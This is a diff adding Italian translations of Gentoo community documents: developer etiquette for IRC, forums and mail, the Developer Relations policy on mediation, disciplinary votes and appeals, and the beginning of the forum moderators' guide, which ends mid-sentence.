+    dovrà assumersi le responsabilità di qualsiasi azione. Generalmente tali
+    azioni non sono raccomandabili.
+  </li>
+  <li>
+    Se si è uno sviluppatore con poteri di operatore, <b>non</b> abusare del
+    proprio potere: se si è in disaccordo con un utente, risolvere la questione
+    pacificamente senza fare ricorso a kick o ban a meno che la situazione non
+    sia davvero seria ed altri sviluppatori approvino tali misure critiche.
+  </li>
+  <li>
+    #gentoo e #gentoo-dev sono canali dove si utilizza un linguaggio chiaro e
+    pulito; altri canali #gentoo-  hanno regole impostate dai rispettivi
+    proprietari. Siccome la maggioranza del traffico su #gentoo-dev proviene
+    dagli sviluppatori Gentoo, le persone percepiscono questo canale come quello
+    ufficiale rappresentativo di Gentoo. Allo scopo di presentare Gentoo in
+    modo professionale, viene richiesto agli sviluppatori di mantenere un
+    'linguaggio pulito' nel canale #gentoo-dev.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Forum</title>
+<body>
+
+<ul>
+  <li>
+    Comportarsi in modo gentile e rispettoso nei confronti di tutti, anche se
+    vengono poste le domande più impensabili. Dare la propria opinione in modo
+    cortese o non darla proprio.
+  </li>
+  <li>
+    Seguire le regole del forum e cercare di mantenere la discussione in tema,
+    senza divagare.
+  </li>
+  <li>
+    Cercare di essere attivi nello sviluppo. Se gli utenti chiedono perché
+    qualcosa è stato aggiunto, si prega di spiegarglielo. Se gli utenti chiedono
+    perché manca qualcosa, spiegarglielo. Usare la propria conoscenza e aiutare
+    nel limite delle proprie possibilità. Allo stesso tempo, se non si conosce
+    bene l'argomento, non creare confusione nella gente.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Mail</title>
+<body>
+
+<ul>
+  <li>
+    Comportarsi in modo gentile e rispettoso nei confronti di tutti. Non
+    rispondere ad attacchi personali con altri attacchi. Dare la propria
+    opinione in modo cortese o non darla proprio.
+  </li>
+  <li>
+    Non usare mail HTML, in quanto possono dare fastidio, si raccomanda inoltre
+    di usare un client di posta che usa il ritorno a capo (word-wrapping)  se
+    vengono spediti messaggi di puro testo. Alcune persone bloccato i messaggi
+    in formato HTML e ciò può creare problemi nella corrispondenza.
+  </li>
+  <li>
+    Quando si risponde ad una mail di un utente o di uno sviluppatore, essere
+    cortesi e non dire semplicemente all'utente di rivolgersi ad un altro
+    sviluppatore: cercare di spiegare il perché della situazione, se possibile.
+    Un esempio di una buona risposta da dare in questo caso è: "Fai riferimento
+    a <c>&lt;inserire nome qui&gt;</c> in quanto <c>&lt;persona&gt;</c> ora è il
+    manutentore del pacchetto. Perciò per ogni ulteriore problematica fai
+    riferimento a <c>&lt;persona&gt;</c>. Chiedo scusa per eventuali
+    inconvenienti."
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/devrel/policy.xml b/xml/htdocs/proj/it/devrel/policy.xml
new file mode 100644
index 00000000..6c7fe88b
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/policy.xml
@@ -0,0 +1,391 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/policy.xml,v 1.5 2010/05/24 17:53:34 scen Exp $ -->
+
+<guide link="/proj/it/devrel/policy.xml" lang="it">
+<title>Guida alle Politiche per le Relazioni tra Sviluppatori</title>
+
+<author title="Autore">
+  <mail link="devrel@gentoo.org">Relazioni tra Sviluppatori</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen@gentoo.org">Davide Cendron</mail>
+</author>
+
+<abstract>Guida alle Politiche per le Relazioni tra Sviluppatori</abstract>
+
+<version>1.1.5</version>
+<date>2010-04-03</date>
+
+<chapter>
+<title>Politica di risoluzione dei conflitti</title>
+
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Sebbene i conflitti abbastanza seri da richiedere il coinvolgimento dei
+responsabili delle "Relazioni tra Sviluppatori" (il termine originale inglese è
+"Developer Relations", d'ora in poi verrà utilizzata la traduzione italiana,
+ndt) siano rari, è inevitabile che gli sviluppatori abbiano degli scontri di
+varie entità. È essenziale che il team Relazioni tra Sviluppatori trovi delle
+risoluzioni eque ed imparziali ai problemi tra sviluppatori. Sebbene tutte le
+situazioni differiscano e sia necessario esercitare una buona capacità di
+giudizio, queste linee guida sono pensate per definire una via d'azione il più
+soddisfacente possibile.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Quando bisognerebbe coinvolgere i membri del gruppo Relazioni tra
+Sviluppatori?</title>
+<body>
+
+<p>
+I membri del gruppo Relazioni tra Sviluppatori dovrebbero essere coinvolti
+solamente in un conflitto quando sono falliti altri tentativi per risolverlo.
+Gli sviluppatori sono incoraggiati a provare a risolvere il problema tra di
+loro in maniera civile. Gli sviluppatori all'interno di un progetto coinvolti in
+un conflitto personale dovrebbero consultarsi con il capo progetto. Sebbene i
+capi non siano necessariamente qualificati per risolvere dispute personali,
+problemi tecnici che sfociano in conflitto possono essere spesso risolti
+all'intero del progetto senza il coinvolgimento dei membri di Relazioni tra
+Sviluppatori.
+</p>
+
+<p>
+Il gruppo Relazioni tra Sviluppatori dovrebbe essere coinvolto quando i
+precedenti metodi non hanno avuto successo. Per coinvolgere Relazioni tra
+Sviluppatori nel proprio problema si prega di inviare un'e-mail a
+<mail>devrel@gentoo.org</mail> o aprire un bug assegnandolo a "Developer
+Relations"; entrambi i metodo sono accettabili. Si prega di notare che aprire un
+bug non è necessario per la mediazione, tuttavia lo sviluppatore può aprire un
+bug a sua completa discrezione; aprire un bug è obbligatorio se i tentativi di
+mediazione falliscono. Relazioni tra Sviluppatori include un gruppo di
+sviluppatori che lavorano con le parti opposte per risolvere il conflitto, tali
+persone vengono denominati mediatori; il Mediatore di Relazioni tra Sviluppatori
+che prende in carico questo ruolo dovrebbe far presente in modo chiaro che sta
+prendendo controllo del conflitto in modo da prevenire una mancanza di
+comunicazione. Ciò non significa che il Mediatore di Relazioni tra Sviluppatori
+in controllo non possa chiedere aiuto ad altri, né che quest'ultimi debbano
+prendere una decisione per le parti coinvolte. Lo scopo del Mediatore è dare
+assistenza nel mediare la discussione per facilitare il mutuo consenso fino alla
+risoluzione. Se tutti i tentativi verso una mediazione falliscono, il problema
+viene riesaminato e verrà presa una decisione dal voto maggioritario da parte
+dei membri di Relazioni tra Sviluppatori; questo processo è spiegato in modo
+dettagliato nella sezione sottostante denominata Politica e Processo.
+</p>
+
+<p>
+Questioni non necessariamente collegate a conflitti personali, come violazioni
+intenzionali o ripetute delle regole, un comportamento malizioso o caustico nei
+confronti di sviluppatori o utenti, o simili problemi di comportamento specifici
+di uno sviluppatore dovrebbero essere inviati direttamente al team Relazioni tra
+Sviluppatori tramite <mail link="devrel@gentoo.org">devrel@gentoo.org</mail> o
+tramite un bug. Questi problemi potrebbero scavalcare la mediazione e venire
+immediatamente portati al voto da parte di Relazioni tra Sviluppatori per
+un'applicazione appropriata dell'eventuale azione disciplinare.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Azione Disciplinaria e Risoluzione</title>
+
+<section>
+<title>Che azioni possono essere intraprese</title>
+<body>
+
+<p>
+Un'Azione Disciplinare deve essere decisa in base ad ogni singolo caso da
+Relazioni tra Sviluppatori. Per la maggior parte delle situazioni che richiedono
+un'azione disciplinare, è sufficiente un avviso per correggere la condotta
+futura. Se la condotta non migliora, è appropriato imporre un periodo
+probatorio, da due settimane ad un mese, in cui l'accesso alle infrastrutture di
+Gentoo sarà revocato. Se dopo il ripristino dell'accesso si verifica ancora una
+condotta negativa, sarà necessario effettuare una rimozione dal progetto. In
+casi estremi, la sospensione o la rimozione potrebbe essere necessaria a seguito
+di un singolo reato. Tranne che in situazioni critiche dove l'azione immediata è
+necessaria, questo tipo di azione disciplinare è determinata dai membri di
+Relazioni tra Sviluppatori. Se il problema viene considerato di grave entità,
+allo sviluppatore in questione può essere sospeso il proprio accesso mentre
+viene effettuata una votazione. In tal caso, il capo di Relazioni tra
+Sviluppatori può agire senza il voto dei rimanenti membri del gruppo stesso;
+questo potere è garantito dal Concilio. In un evento di questo tipo, il
+processo per la risoluzione del conflitto può essere anch'esso scavalcato, può
+essere presa una decisione, e qualsiasi disputa può essere portata al Concilio
+tramite il processo di appello dettagliato successivamente. La natura critica
+di un'escalation può essere determinato dal Capo di Relazioni tra Sviluppatori o
+dell'Infrastruttura, per problemi legati alla sicurezza, che potrebbero mettere
+in pericolo Gentoo, o la sua reputazione. Un problema che viene considerato
+critico non richiede ulteriori giustificazioni oltre al constatare che esso
+ricade in una delle situazioni summenzionate.
+</p>
+
+<p>
+A seguito della rimozione di uno sviluppatore, la mailing list gentoo-core
+dovrebbe essere avvisata. Inoltre, l'interno team Relazioni tra Sviluppatori
+dev'essere informato tramite e-mail dei fatti che hanno portato alla rimozione o
+alla sospensione di uno sviluppatore, e questa informazione va archiviata in un
+bug. Gli sviluppatori rimossi dal progetto non possono tornare ad esserlo senza
+l'approvazione del (dei) responsabile(i) di Relazioni tra Sviluppatori.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>La Politica per la Risoluzione Conflitti</title>
+<body>
+
+<p>
+A che tipo di dispute bisognerebbe aumentare il livello di gravità?
+</p>
+
+<ul>
+  <li>
+    Una disputa che coinvolge il Codice di Condotta, o violazioni su argomenti
+    simili, che coinvolgo due o più sviluppatori.
+  </li>
+  <li>
+    Uno sviluppatore il cui comportamente viene considerato come un'influenza
+    negativa per la comunità di Gentoo. Questo include qualsiasi azione
+    inappropriata condotta da uno sviluppatore.
+  </li>
+  <li>
+    Qualsiasi altro conflitto di natura non tecnica che coinvolge due o più
+    sviluppatori.
+  </li>
+</ul>
+
+<p>
+Qualunque conflitto di natura puramente tecnica dovrebbe essere indirizzato a QA
+e dovrebbe essere gestito secondo quanto descritto nella GLEP 48. Se un problema
+di natura tecnica diventa un problema personale, allora è applicabile alla
+politica di questo documento. Si prega di notare che qualsiasi conflitto dove
+uno sviluppatore desidera denunciare un utente dovrebbe essere indirizzato "User
+Relations" (Relazioni tra Utenti, N.d.T.)
+</p>
+
+<p>
+Una volta che un reclamo viene inviato a Relazioni tra Sviluppatori,
+quest'ultimo gruppo si assume la responsabilità di coordinare tutti gli aspetti
+del reclamo. Il gruppo deve agire in accordo con le seguenti linee guida:
+</p>
+
+<p>
+I tentativi di mediazione non sono pensati per essere trasparenti alla comunità
+degli sviluppatori. Relazioni tra Sviluppatori rispetta la privacy degli
+sviluppatori con i quali lavora; di conseguenza ci possono e devono essere
+tentativi di mediazione non resi di pubblico dominio al resto della comunità di
+sviluppatori. A prescindere dalle mediazioni di dominio pubblico o private,
+tutti gli sforzi di mediazione verranno limitati ad una finestra temporale di 4
+settimane. Se la mediazione non ha avuto successo entro questo periodo di tempo,
+a prescindere dalla ragioni, il problema verrà sottoposto al voto di Relazioni
+tra Sviluppatori.
+</p>
+
+<p>
+Le dispute tra sviluppatori devono prima essere assegnate ad un membro di
+Relazioni tra Sviluppatori perché agisca come mediatore. Questo passaggio
+potrebbe essere omesso solo in caso di un accordo unanime tra i membri della
+mediazione, e solo se nessun membro di tale gruppo ha già provato ad effettuare
+una mediazione come descritto in precedenza. Non è richiesto un bug per la
+mediazione: tuttavia esso è richiesto se i tentativi di mediazione falliscono o
+non sono pertinenti.
+</p>
+
+<p>
+Reclami che non richiedono di per sé una mediazione sono trattati
+esclusivamente tramite voto dal gruppo Relazioni tra Sviluppatori. I problemi
+per i quali la mediazione non ha avuto successo vengono gestiti tramite una
+votazione del gruppo Relazioni tra Sviluppatori.
+</p>
+
+<p>
+In entrambi i casi, una volta che il reclamo ha bisogno di essere messo ai voti,
+alle parti coinvolte nel problema e al mediatore vengono conessi tre giorni per
+fornire delle informazioni riguardanti la questione a Relazioni tra
+Sviluppatori. Anche se lo scambio d'informazioni non può essere forzato, ciò non
+sta ad indicare che la questione viene abbandonata, né il voto cancellato, se
+non viene ricevuta nessuna informazione da alcuna delle parti in causa entro tre
+giorni. Dopo il terzo giorno, il gruppo Relazioni tra Sviluppatori si concedono
+due settimane per esprimere un voto sull'argomento. Il periodo di due settimane
+permette ai membri di Relazioni tra Sviluppatori di interrogare entrambi le
+parti in quanto pertinente. Il Mediatore per la questione non è escluso dai
+voti. Il Capo di Relazioni tra Sviluppatori potrebbe indire solamente una
+votazione se lo ritiene necessario.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Il Processo per la Risoluzione dei Conflitti</title>
+<body>
+
+<p>
+Relazioni tra Sviluppatori include un gruppi di Mediatori dedicati alla
+risoluzione di dispute coperte da questa politica. Se la mediazione dovesse
+fallire, Relazioni tra Sviluppatori voterà per risolvere il problema.
+L'informazione riguardante il problema verrà presentato da ciascuna fazione
+coinvolta nonché dal Mediatore coinvolto, se appropriato.
+</p>
+
+<p>
+A ciascuna parte vengono dati tre giorni per presentare delle informazioni
+sulla problematica, e alla fine del terzo giorno il gruppo esaminerà le
+informazioni riguardanti la questione e voterà per una sua risoluzione. Il
+gruppo deciderà quali informazioni presentate saranno valide per il caso
+corrente rifiutando quelle ritenute non valide o non pertinenti.
+</p>
+
+<p>
+Tutti i membri di Relazioni tra Sviluppatori hanno a disposizione un voto per
+determinare l'azione disciplinare appropriata; tutti i voti devono pervenire
+entro 14 giorni. Perché la votazione sia valida essa richiede che la maggioranza
+semplice di tutti i membri di Relazioni tra Sviluppatori voti per una direttiva
+particolare.
+</p>
+
+<p>
+Volendo esemplificare, se ci sono attualmente 12 membri nel progetto Relazioni
+tra Sviluppatori allora almeno 7 membri devono votare per una direttiva
+particolare. Ciò non significa che tutti i 12 membri devono votare, basta che la
+maggioranza del gruppo voti una decisione univoca, rendendo inutile il voto dei
+restanti 5 membri, in quanto è già superata la maggioranza. Se il voto è diviso
+50/50, il Capo di Relazioni tra Sviluppatori darà il voto decisivo.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Risoluzione e Appello</title>
+<body>
+
+<p>
+Qualsiasi parte di una disputa risolta da Relazioni tra Sviluppatori può
+appellare la risoluzione al concilio. Nessun'altro sviluppatore può appellarsi.
+</p>
+
+<p>
+Il Concilio può decidere di ignorare la decisione di Relazioni tra Sviluppatori,
+questa decisione dovrebbe essere raggiunta dalla maggioranza dei voti
+all'interno del Concilio, nel qual caso tale decisione dovrà essere rispettata e
+ci si dovrà attenere ad essa. Offese ripetute per la stessa azione verranno
+trattate in quanto tali, con la conseguenza di possibili azioni disciplinari a
+discrezione di Relazioni tra Sviluppatori e trattando il processo di appello
+allo stesso modo.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Considerazioni Etiche</title>
+<body>
+
+<p>
+Se una parte di una disputa è anche un membro di Relazioni tra Sviluppatori,
+questa persona non dovrebbe avere nessun ruolo nel processo di risoluzione della
+disputa se non come parte in causa, penalizzando il loro voto se viene tenuta
+una votazione da parte di Relazioni tra Sviluppatori. È responsabilità di tale
+persona informare immediatamente del conflitto Relazioni tra Sviluppatori.
+L'unico modo in cui un conflitto di interessi è applicabile è quando una
+persona coinvolta nel processo di mediazione/risoluzione è anche coinvolta nel
+conflitto. Come sviluppatori, i membri di Relazioni tra Sviluppatori sono
+delegati a prendere decisioni per il bene comune di Gentoo e di lasciare da
+parte gli interessi personali per il bene di Gentoo nel suo complesso.
+</p>
+
+<p>
+Reclami sollevati riguardo ad un qualsiasi membro di Relazioni tra Sviluppatori
+dovrebbero essere indirizzati in ogni momento al(i) capo(i) di Relazioni tra
+Sviluppatori o al gruppo in generale tramite <mail>devrel@gentoo.org</mail>
+perché vengano discussi in qualsiasi momento; potrebbe venire indetto un
+incontro per discutere in modo più approfondito la questione, fino ad includere
+la votazione per rimuovere i membri.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Varie</title>
+<section>
+<title>Assenze giustificate</title>
+<body>
+
+<p>
+Spesso gli sviluppatori Gentoo vanno in vacanza, devono prendersi un breve
+periodo di pausa per esami universitari, o vanno perfino in luna di miele. Anche
+se fa piacere che gli sviluppatori abbiano una vita al di fuori di Gentoo,
+sarebbe utile far sapere quando si va via e quando si prevede di tornare. Quando
+si parte, avvisare i gruppi di sviluppo più vicini come anche creare una voce
+devaway.
+</p>
+
+<p>
+Bisogna creare un file chiamato <path>.away</path> nella propria directory
+<path>/home/proprionomeutente</path>. Questo file conterrà i dettagli della
+propria assenza e si rifletteranno nel <uri
+link="http://www.gentoo.org/proj/en/devrel/roll-call/devaway.xml">sito devaway
+</uri>. Tale pagine è aggiornata una volta ogni ora. Nel momento in cui si è
+tornati, basta semplicemente cancellare il file <path>.away</path> dalla propria
+directory home.
+</p>
+
+<p>
+Un'assenza giustificata estesa viene definita come inattività per qualsiasi
+periodo di tempo maggiore di 60 giorni. L'accesso all'infrastruttura Gentoo
+probabilmente verrà disabilitata durante questo periodo per ragioni di
+sicurezza. Ciò significa che l'accesso al CVS e l'accesso alla shell a dev
+verranno influenzate -- l'email probabilmente no. Se il team Relazioni tra
+Sviluppatori non viene avvisato in anticipo in previsione di un periodo di
+inattività esteso, dopo 60 giorni lo sviluppatore verrà considerato ritirato ed
+ogni rientro sarà a discrezione del(i) responsabile(i) di Relazioni tra
+Sviluppatori e il rispettivo capo progetto, se applicabile.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Post-ritiro</title>
+<body>
+
+<p>
+Le e-mail gentoo.org degli sviluppatori ritirati verranno rimosse dalle mailing
+list di Gentoo per prevenire l'invio di notifiche di mancato recapito. Gli
+sviluppatori ritirato hanno la responsabilità di reiscriversi alle liste
+pubbliche utilizzando un indirizzo email non-Gentoo.
+</p>
+
+<ul>
+  <li>
+    Agli sviluppatori ritirari verrà inoltrata la propria mail @gentoo.org per
+    un numero di mesi uguale al numero di anni approssimato per eccesso nei
+    quali sono stati sviluppatori ufficiali.
+  </li>
+  <li>Le mail verranno inoltrate per un massimo di 6 mesi.</li>
+</ul>
+
+<p>
+Questo regolamento assicura che tutti gli sviluppatori abbiano minimo 1 mese di
+inoltro in base alla politica esistente. E uno sviluppatore che è stato attivo
+per circa 3 anni avrà 3-4 mesi per poter spostare le proprie mail personali ad
+un account diverso da gentoo.org.
+</p>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/forums/forum-guide.xml b/xml/htdocs/proj/it/forums/forum-guide.xml
new file mode 100644
index 00000000..bc236e04
--- /dev/null
+++ b/xml/htdocs/proj/it/forums/forum-guide.xml
@@ -0,0 +1,705 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/forums/forum-guide.xml,v 1.4 2009/06/16 20:59:42 scen Exp $ -->
+
+<guide link="/proj/it/forums/forum-guide.xml" lang="it">
+<title>Politiche e Linee Guida per i Moderatori dei Forum di Gentoo</title>
+
+<author title="Autore">
+  <mail link="deathwing00@gentoo.org">Ioannis Aslanidis</mail>
+</author>
+<author title="Autore">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Contributi">
+  <mail link="ian@gentoo.org">Christian Hartmann</mail>
+</author>
+<author title="Contributi">
+  <mail link="amne@gentoo.org">Wernfried Haas</mail>
+</author>
+<author title="Contributi">
+  <mail link="tomk@gentoo.org">Tom Knight</mail>
+</author>
+<author title="Contributi">
+  <mail link="ahellgren@gmail.com">Anders Hellgren</mail>
+</author>
+<author title="Contributi">
+  <mail link="maedhros@gentoo.org">Jonathan Coome</mail>
+</author>
+<author title="Contributi">
+  <mail link="rac@gentoo.org">Robert Coie</mail>
+</author>
+<author title="Traduzione">
+  <mail link="magowiz@gmail.com">Marcello Magaldi</mail>
+</author>
+
+<abstract>
+Questa guida è un insieme di regole base e politiche per moderare i Forum di
+Gentoo
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2005-06-15</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>A chi si rivolge questa guida</title>
+<body>
+
+<p>
+Lo scopo di questa guida è fornire le linee guida base e le politiche da seguire
+sia da parte dei moderatori esperti sia da quelli inesperti in modo che
+quest'ultimi sappiano cosa dovrebbero e non dovrebbero fare e come farlo.
+Inoltre, l'intento di questa guida è servire come punto di partenza per i nuovi
+moderatori.
+</p>
+
+</body>
+</section>
+<section>
+<title>L'origine dei Forum Gentoo</title>
+<body>
+
+<p>
+I Forum Gentoo, attualmente
+<uri link="https://forums.gentoo.org">forums.gentoo.org</uri>, prima erano
+online come gentoo.frozenliquid.net il 6 Aprile 2002 grazie a Kyle Manna, aka
+<uri
+link="https://forums.gentoo.org/profile.php?mode=viewprofile&#38;u=2">Nitro</uri>.
+Il server dei forum era ospitato a casa di Nitro con una connessione via cavo
+con ampiezza di banda di 2 mbit/s in download e 380 kbit/s in upload.
+</p>
+
+<p>
+Nel Giugno 2003, i forum migrarono a una macchina M5 in un edificio a New York,
+NY. Nell'Agosto 2004 migrarono nuovamente ad una macchina con doppi processori
+Xeon a 2.4Ghz e 3Ghz e con sufficienti gigabyte di RAM e spazio su hard disk
+all'Università dello Stato dell'Oregon. Nel Febbaio 2005, i forum furono migrati
+alla loro attuale posizione all'OSU su un biprocessore composto da 2 processori
+Intel(R) Xeon(TM) a 2.80GHz, 2GB di ram e 5 dischi SCSI da 36Gb in un array
+RAID5. Questa macchina era stata precedentemente usata dalla Mozilla Foundation
+per ospitare Firefox.
+</p>
+
+<p>
+I Forum Gentoo sono cresciuti molto, con oltre 87mila utenti e 2mila messaggi al
+giorno, diventando così i forum di supporto più famosi di qualsiasi
+distribuzione Linux. Il software per i forum phpBB, su cui si basano i Forum
+Gentoo, con alcune patch personalizzate, è una delle <uri
+link="http://www.big-boards.com/board/62/">più
+grandi implementazioni al mondo</uri>.
+</p>
+
+<p>
+I Forum Gentoo sono il posto giusto per chiedere aiuto di ogni tipo, sia in
+Inglese sia in ogni lingua supportata, ed aspettarsi risposte da altri utenti
+esperti o persino dagli sviluppatori. Inoltre, c'è una lunga lista di
+documentazione, la sezione tips &amp; tricks e un posto dove le persone possono
+scambiarsi liberamente le loro idee, ma senza aggressioni personali. Questo
+rende i Forum Gentoo il posto ideale per chiedere aiuto e anche un modo veloce
+per cercare e trovare risposte per molte domande poichè i messaggi
+vengono conservati per un tempo indefinito.
+</p>
+
+</body>
+</section>
+<section>
+<title>Il contenuto di questa guida</title>
+<body>
+
+<p>
+Le linee guida descritte in questa guida non sono pensate per essere
+universali e non sono da seguire in maniera rigida, a causa della differente
+natura delle situazioni che si possono riscontrare. Pertanto ci saranno volte in
+cui tutte le linee guida dovranno esssere parzialmente o completamente ignorate.
+Il giudizio dei moderatori dovrebbe essere prioritario sulle decisioni da
+prendere.
+</p>
+
+<p>
+Le politiche esposte formano un'etichetta che definisce il comportamento che ci
+si dovrebbe aspettare da un moderatore nei confronti degli utenti del forum, gli
+sviluppatori e il resto del team dei moderatori. I principali scopi di questa
+etichetta sono i seguenti:
+</p>
+
+<ul>
+  <li>
+    Evitare dissidi all'interno del team di moderatori e preservare l'unità del
+    team
+  </li>
+  <li>Mantenere un'accurata e chiara immagine pubblica di ogni moderatore</li>
+  <li>
+    Mantenere un'accurata e chiara immagine pubblica dell'intero team di
+    moderazione
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Politiche</title>
+<section>
+<title>Regole Generali</title>
+<body>
+
+<p>
+Tutti i messaggi devono essere professionali e cortesi. Mai reagire
+impulsivamente o istintivamente, pensarci due volte prima di postare. Ricordare
+che le proprie parole generalmente verranno prese sul serio. Tenere a mente che
+il fatto di essere un moderatore dà più responsabilità che potere. Tutte le
+regole applicate agli utenti del forum sono da applicare anche ai moderatori,
+cioè, non si è immuni ad esse. È talvolta consigliabile, come moderatore, tenere
+per sè la propria opinione se essa può irritare un utente o la situazione in
+generale.
+</p>
+
+<p>
+La prima regola nel moderare i forum è di non fare danni. Se un messaggio
+risulta ambiguo o non si sa cosa fare, meglio non fare niente. Parlarne con gli
+altri moderatori può essere una buona idea per ottenere più opinioni sul da
+farsi.
+</p>
+
+<p>
+Da Tutti i Moderatori e dagli Amministratori ci si aspetta che vengano seguite
+le politiche generali di Gentoo contenute nel Manuale degli Sviluppatori così
+come le Linee Guida e le Politiche descritte in questa Guida. Si prega di
+riferirsi ai seguenti documenti.
+</p>
+
+<ul>
+  <li>
+    <uri link="http://www.gentoo.org/proj/it/devrel/handbook/handbook.xml">
+    Manuale per sviluppatori Gentoo</uri>
+  </li>
+  <li>
+    <uri
+    link="http://www.gentoo.org/proj/it/devrel/handbook/handbook.xml?part=1&amp;chap=4">
+    Istruzioni per i nuovi sviluppatori</uri>
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/it/devrel/policy.xml">Guida alle
+    Politiche per le Relazioni tra Sviluppatori</uri>
+  </li>
+</ul>
+
+
+</body>
+</section>
+<section>
+<title>Interagire con gli utenti</title>
+<body>
+
+<p>
+Questi forum sono principalmente una risorsa di aiuto per permettere agli utenti
+di ottenere aiuto per le questioni relative a Gentoo. Rispettare le opinioni
+degli utenti fintanto essi non attacchino, degenerino, facciano i troll o
+denigrino altri utenti. Se un utente richiede una spiegazione a proposito di
+qualsiasi propria azione, rispondere adeguatamente spiegando il proprio punto di
+vista. Se un utente fa qualcosa di improprio o diventa un elemento di disturbo,
+informare il resto del team di moderazione e prendere le necessarie misure.
+</p>
+
+</body>
+</section>
+<section>
+<title>Interagire con gli altri sviluppatori</title>
+<body>
+
+<p>
+Gli Sviluppatori sono persone che mettono il proprio impegno per migliorare la
+distribuzione Gentoo Linux. La loro conoscenza su come funzionano le cose in un
+sistema Gentoo fanno sì che i loro messaggi siano informazioni importanti.
+Cercare sempre di rispettare le opinioni e i consigli a proposito di domande
+d'aiuto. Tuttavia, gli sviluppatori che non sono moderatori dovrebbero essere
+trattati come utenti normali. Cioè, i post non cortesi e non professionali non
+dovranno essere tollerati.
+</p>
+
+<p>
+Se si hanno delle questioni con uno sviluppatore per prima cosa rivolgersi
+personalmente a quest'ultimo (pensando un possibile modo per risolvere la
+questione). Se non è possibile risolvere da sè la questione con lo sviluppatore
+contattare il Responsabile Principale per il progetto a cui lo sviluppatore
+appartiene e il Responsabile Principale del forum, presentando la propria
+questione insieme con l'eventuale documentazione completa. Se essi non riescono
+ad essere d'aiuto il problema può essere risolto in due modi. Per prima cosa
+contattare gli 'ombudsman' (ndT: mediatori). Se non possono essere d'aiuto può
+essere contattato il Coordinamento Sviluppatori (Developer Relations); in caso
+di difficoltà il responsabile del Forum potrà dare una mano a contattare
+entrambi.
+</p>
+
+</body>
+</section>
+<section>
+<title>Attività Illecite</title>
+<body>
+
+<p>
+I forum di Gentoo sono situati all'interno degli Stati Uniti d'America. Le leggi
+degli Stati Uniti proibiscono l'uso o la pratica di software contraffatto di
+ogni tipo come <e>warez</e>, <e>crackz</e>, ecc... Questo include la
+condivisione di numeri seriali, link ai siti di warez o qualsiasi altra
+informazione che potrebbe permettere l'uso illegale del software. A causa di
+ciò, ogni discussione relativa a queste attività illecite deve essere
+immediatamente chiusa. I messaggi illeciti nella discussione devono esser
+modificati per rimuovere ciascuna informazione illegale. Se il post illecito è
+all'interno a una discussione dove l'intento non era di parlare a proposito di
+attività illecite, quel messaggio e tutti quelli relativi ad esso dovranno
+essere divisi e spostati nel Dustbin e modificati.
+</p>
+
+<p>
+Ogni tipo di attività considerata illegale dalle leggi degli Stati Uniti come
+pornografia e simili, dovranno essere trattate nello stesso modo. Inoltre, la
+pubblicità (spam) nei forum è considerata un'attività illecita e dovrà essere
+trattata allo stesso modo.
+</p>
+
+<p>
+Se i messaggi illeciti sono stati scritti da un nuovo account, quell'account
+dovrà essere bloccato. Negli altri casi, dovrà essere inviato un avviso
+all'utente, a meno che non ci siano ragioni serie per bloccare il suo account,
+per esempio se è la seconda volta che commette l'illecito.
+</p>
+
+</body>
+</section>
+<section>
+<title>Interagire con gli altri Moderatori</title>
+<body>
+
+<p>
+Gli altri moderatori sono i propri compagni di squadra. Cercare di mostrare
+unità e unanimità nelle proprie azioni. Rispettare sempre le azioni degli altri
+moderatori. Se non si è d'accordo con un'azione intrapresa da un altro
+moderatore, discuterne con lui/lei come persone razionali. I problemi interni
+sono da risolvere internamente. Chiunque non appartenga al team di moderazione
+non si suppone che lo sappia quindi non renderlo pubblico. Cercare di coprire,
+supportare o sostenere le azioni degli altri moderatori in pubblico se
+necessario.
+</p>
+
+</body>
+</section>
+<section>
+<title>Aspettative</title>
+<body>
+
+<p>
+Moderare il Forum prende tempo. Si prega di provare a dedicare un po' di ore alla
+settimana per questioni riguardanti il Forum. Non c'è un ammontare minimo di
+tempo al quale è obbligatorio dedicarsi al Forum, si invita comunque a cercare
+di dedicarci più tempo possibile nel limite delle proprie possibilità. La
+propria vita personale è sempre più importante che moderare i forum. Se ci si
+assenta per un tempo prolungato informare i propri colleghi moderatori
+inserendo un messaggio nella discussione<uri
+link="https://forums.gentoo.org/viewtopic-t-12452.html">Status: 410 Gone</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mentori</title>
+<body>
+
+<p>
+Tutti i Moderatori e gli Amministatori che vogliano essere parte dello Staff
+ufficiale di Gentoo devono passare attraverso il processo di reclutamento. Fare
+riferimento alla <uri
+link="http://www.gentoo.org/proj/en/devrel/recruiters/mentor.xml">Gentoo Mentors
+Guide (ndT: in inglese)</uri> per ulteriori informazioni.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Linee Guide per Moderatori</title>
+<section>
+<title>Spostare discussioni</title>
+<body>
+
+<p>
+Spostare le discussioni duplicate nella sezione "Duplicate Threads" e postare
